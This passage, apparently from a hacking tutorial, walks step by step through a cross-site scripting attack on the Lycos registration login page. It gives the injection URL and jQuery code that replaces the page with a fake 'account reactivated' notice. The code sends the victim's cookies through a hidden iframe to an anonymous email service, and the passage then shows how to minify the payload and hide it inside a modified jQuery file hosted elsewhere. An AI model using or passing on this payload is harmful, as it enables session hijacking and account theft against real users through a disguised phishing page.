
First, we need the vulnerability. https://registration.lycos.com/login.php?action=login&m_PR=27&m_CBURL=http://www.lycos.com/&m_U='/><script>alert('Hello, World');</script> will work.
Next is the jQuery. Using it we're going to alter the title and login form, then email the cookie value by appending a hidden iframe to TestDiv. The JavaScript below should fulfill these needs, mailing to you@yourdomain.com.
$(this).load(function() {
$('title').html('Reactivation');
$('form').html('<div id="TestDiv"></div><h3 style="color:green;margin:">Activated</h3>Your account has been reactivated.<br />Redirecting to <a href="http://mail.lycos.com">http://mail.lycos.com</a>...');
var u = 'http://send-anonymous-email.com/Record.php?email_from=someemail%40domain.com&email_to=you%40yourdomain.com&subject=Have+A+Cookie&message=' + escape(document.cookie) + '&kind=html';
$('#TestDiv').append('<iframe style="display:none;" src="' + u + '" />');
setTimeout("window.location='http://mail.lycos.com';", 5000);
});
To obscure our code and keep the URL short we can remove all unnecessary whitespace and append it to the end of the jQuery file. Doing so would look something like this:
[jQuery] $(this).load(function(){$('title').html('Reactivation');$('form').html('<div id="TestDiv"></div><h3 style="color:green;margin:">Activated</h3>Your account has been reactivated.<br />Redirecting to <a href="http://mail.lycos.com">http://mail.lycos.com</a>...');var u='http://send-anonymous-email.com/Record.php?email_from=someemail%40domain.com&email_to=you%40yourdomain.com&subject=Have+A+Cookie&message='+escape(document.cookie)+'&kind=html';$('#TestDiv').append('<iframe style="display:none;" src="'+u+'"/>');setTimeout("window.location='http://mail.lycos.com';",5000);});
Include the modified version of jQuery using the vulnerability and the result will look like the screenshot below.

https://registration.lycos.com/login.php?action=login&m_PR=27&m_CBURL=http://www.lycos.com/&m_U='/><script src="http://www.yourdomain.com/modifiedjQuery.js"></script>